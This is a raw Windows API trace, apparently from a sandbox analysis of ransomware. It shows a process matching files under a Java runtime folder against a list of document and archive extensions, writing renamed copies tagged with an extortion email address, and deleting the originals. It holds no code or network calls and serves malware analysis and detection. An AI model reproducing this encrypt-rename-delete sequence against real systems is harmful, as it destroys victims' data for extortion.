	[0095.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.686] lstrlenW (lpString=".jpg") returned 4
	[0095.686] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.686] lstrlenW (lpString=".doc") returned 4
	[0095.686] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.686] lstrlenW (lpString=".docx") returned 5
	[0095.686] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0095.686] lstrlenW (lpString=".pdf") returned 4
	[0095.686] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.686] lstrlenW (lpString=".xls") returned 4
	[0095.686] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.687] lstrlenW (lpString=".xlsx") returned 5
	[0095.687] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0095.687] lstrlenW (lpString=".ppt") returned 4
	[0095.687] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.687] lstrlenW (lpString=".zip") returned 4
	[0095.687] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.687] lstrlenW (lpString=".rar") returned 4
	[0095.687] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.687] lstrlenW (lpString=".bz2") returned 4
	[0095.687] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.687] lstrlenW (lpString=".7z") returned 3
	[0095.687] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.687] lstrlenW (lpString=".dbf") returned 4
	[0095.687] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.687] lstrlenW (lpString=".1cd") returned 4
	[0095.687] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51
	[0095.687] lstrlenW (lpString=".jpg") returned 4
	[0095.687] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.687] lstrcmpiW (lpString1=".0_144\\COPYRIGHT", lpString2=".Z9") returned -1
	[0095.687] lstrlenW (lpString="COPYRIGHT") returned 9
	[0095.687] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.688] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3244) returned 1
	[0095.688] CloseHandle (hObject=0x37c) returned 1
	[0095.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20
	[0095.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.688] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.688] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.688] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.689] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.689] GetLastError () returned 0x0
	[0095.689] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xcac, lpOverlapped=0x0) returned 1
	[0095.707] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xcb0, lpOverlapped=0x0) returned 1
	[0095.708] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.708] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0095.708] SetEndOfFile (hFile=0x338) returned 1
	[0095.708] CloseHandle (hObject=0x338) returned 1
	[0095.708] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.708] SetEndOfFile (hFile=0x37c) returned 1
	[0095.709] CloseHandle (hObject=0x37c) returned 1
	[0095.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.709] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1
	[0095.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.710] lstrlenW (lpString=".doc") returned 4
	[0095.710] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1
	[0095.710] lstrlenW (lpString=".docx") returned 5
	[0095.710] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1
	[0095.710] lstrlenW (lpString=".pdf") returned 4
	[0095.710] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1
	[0095.710] lstrlenW (lpString=".xls") returned 4
	[0095.710] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1
	[0095.710] lstrlenW (lpString=".xlsx") returned 5
	[0095.710] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1
	[0095.710] lstrlenW (lpString=".ppt") returned 4
	[0095.710] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1
	[0095.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.710] lstrlenW (lpString=".zip") returned 4
	[0095.710] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1
	[0095.710] lstrlenW (lpString=".rar") returned 4
	[0095.710] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1
	[0095.710] lstrlenW (lpString=".bz2") returned 4
	[0095.710] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1
	[0095.710] lstrlenW (lpString=".7z") returned 3
	[0095.710] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1
	[0095.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.710] lstrlenW (lpString=".dbf") returned 4
	[0095.710] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1
	[0095.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.710] lstrlenW (lpString=".1cd") returned 4
	[0095.710] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1
	[0095.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.710] lstrlenW (lpString=".jpg") returned 4
	[0095.710] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1
	[0095.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.710] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.710] lstrlenW (lpString=".doc") returned 4
	[0095.711] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1
	[0095.711] lstrlenW (lpString=".docx") returned 5
	[0095.711] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1
	[0095.711] lstrlenW (lpString=".pdf") returned 4
	[0095.711] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1
	[0095.711] lstrlenW (lpString=".xls") returned 4
	[0095.711] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1
	[0095.711] lstrlenW (lpString=".xlsx") returned 5
	[0095.711] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1
	[0095.711] lstrlenW (lpString=".ppt") returned 4
	[0095.711] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1
	[0095.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.711] lstrlenW (lpString=".zip") returned 4
	[0095.711] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1
	[0095.711] lstrlenW (lpString=".rar") returned 4
	[0095.711] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1
	[0095.711] lstrlenW (lpString=".bz2") returned 4
	[0095.711] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1
	[0095.711] lstrlenW (lpString=".7z") returned 3
	[0095.711] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1
	[0095.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.711] lstrlenW (lpString=".dbf") returned 4
	[0095.711] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1
	[0095.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.711] lstrlenW (lpString=".1cd") returned 4
	[0095.711] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1
	[0095.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0095.711] lstrlenW (lpString=".jpg") returned 4
	[0095.711] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1
	[0095.711] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0095.711] lstrlenW (lpString="calendars.properties") returned 20
	[0095.711] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.712] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1378) returned 1
	[0095.712] CloseHandle (hObject=0x37c) returned 1
	[0095.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20
	[0095.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.712] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0095.712] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.712] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.712] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0095.712] GetLastError () returned 0x0
	[0095.713] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x562, lpOverlapped=0x0) returned 1
	[0096.094] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x570, lpOverlapped=0x0) returned 1
	[0096.095] ReadFile (in: hFile=0x37c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.095] WriteFile (in: hFile=0x338, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0096.095] SetEndOfFile (hFile=0x338) returned 1
	[0096.095] CloseHandle (hObject=0x338) returned 1
	[0096.095] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.095] SetEndOfFile (hFile=0x37c) returned 1
	[0096.096] CloseHandle (hObject=0x37c) returned 1
	[0096.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.096] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1
	[0096.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.096] lstrlenW (lpString=".doc") returned 4
	[0096.096] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.096] lstrlenW (lpString=".docx") returned 5
	[0096.096] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.096] lstrlenW (lpString=".pdf") returned 4
	[0096.096] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.096] lstrlenW (lpString=".xls") returned 4
	[0096.097] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString=".xlsx") returned 5
	[0096.097] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.097] lstrlenW (lpString=".ppt") returned 4
	[0096.097] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.097] lstrlenW (lpString=".zip") returned 4
	[0096.097] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString=".rar") returned 4
	[0096.097] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString=".bz2") returned 4
	[0096.097] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString=".7z") returned 3
	[0096.097] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.097] lstrlenW (lpString=".dbf") returned 4
	[0096.097] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.097] lstrlenW (lpString=".1cd") returned 4
	[0096.097] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.097] lstrlenW (lpString=".jpg") returned 4
	[0096.097] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.097] lstrlenW (lpString=".doc") returned 4
	[0096.097] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString=".docx") returned 5
	[0096.097] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.097] lstrlenW (lpString=".pdf") returned 4
	[0096.097] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString=".xls") returned 4
	[0096.097] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.097] lstrlenW (lpString=".xlsx") returned 5
	[0096.097] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.097] lstrlenW (lpString=".ppt") returned 4
	[0096.098] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.098] lstrlenW (lpString=".zip") returned 4
	[0096.098] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.098] lstrlenW (lpString=".rar") returned 4
	[0096.098] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.098] lstrlenW (lpString=".bz2") returned 4
	[0096.098] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.098] lstrlenW (lpString=".7z") returned 3
	[0096.098] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.098] lstrlenW (lpString=".dbf") returned 4
	[0096.098] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.098] lstrlenW (lpString=".1cd") returned 4
	[0096.098] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0096.098] lstrlenW (lpString=".jpg") returned 4
	[0096.098] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.098] lstrcmpiW (lpString1=".pf", lpString2=".Z9") returned -1
	[0096.098] lstrlenW (lpString="PYCC.pf") returned 7
	[0096.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.203] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=274474) returned 1
	[0096.203] CloseHandle (hObject=0x364) returned 1
	[0096.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20
	[0096.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0096.204] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.204] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.206] GetLastError () returned 0x0
	[0096.206] ReadFile (in: hFile=0x358, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4302a, lpOverlapped=0x0) returned 1
	[0096.373] WriteFile (in: hFile=0x37c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x43030, lpOverlapped=0x0) returned 1
	[0096.378] ReadFile (in: hFile=0x358, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.378] WriteFile (in: hFile=0x37c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0096.381] SetEndOfFile (hFile=0x37c) returned 1
	[0096.381] CloseHandle (hObject=0x37c) returned 1
	[0096.381] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.381] SetEndOfFile (hFile=0x358) returned 1
	[0096.384] CloseHandle (hObject=0x358) returned 1
	[0096.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.385] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1
	[0096.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.385] lstrlenW (lpString=".doc") returned 4
	[0096.385] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1
	[0096.385] lstrlenW (lpString=".docx") returned 5
	[0096.385] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1
	[0096.385] lstrlenW (lpString=".pdf") returned 4
	[0096.385] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1
	[0096.385] lstrlenW (lpString=".xls") returned 4
	[0096.385] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1
	[0096.385] lstrlenW (lpString=".xlsx") returned 5
	[0096.385] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1
	[0096.385] lstrlenW (lpString=".ppt") returned 4
	[0096.385] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1
	[0096.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.385] lstrlenW (lpString=".zip") returned 4
	[0096.385] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1
	[0096.385] lstrlenW (lpString=".rar") returned 4
	[0096.385] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1
	[0096.385] lstrlenW (lpString=".bz2") returned 4
	[0096.385] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1
	[0096.385] lstrlenW (lpString=".7z") returned 3
	[0096.385] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0096.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.385] lstrlenW (lpString=".dbf") returned 4
	[0096.386] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1
	[0096.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.386] lstrlenW (lpString=".1cd") returned 4
	[0096.386] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1
	[0096.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.386] lstrlenW (lpString=".jpg") returned 4
	[0096.386] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1
	[0096.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.386] lstrlenW (lpString=".doc") returned 4
	[0096.386] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1
	[0096.386] lstrlenW (lpString=".docx") returned 5
	[0096.386] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1
	[0096.386] lstrlenW (lpString=".pdf") returned 4
	[0096.386] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1
	[0096.386] lstrlenW (lpString=".xls") returned 4
	[0096.386] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1
	[0096.386] lstrlenW (lpString=".xlsx") returned 5
	[0096.386] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1
	[0096.387] lstrlenW (lpString=".ppt") returned 4
	[0096.387] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1
	[0096.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.387] lstrlenW (lpString=".zip") returned 4
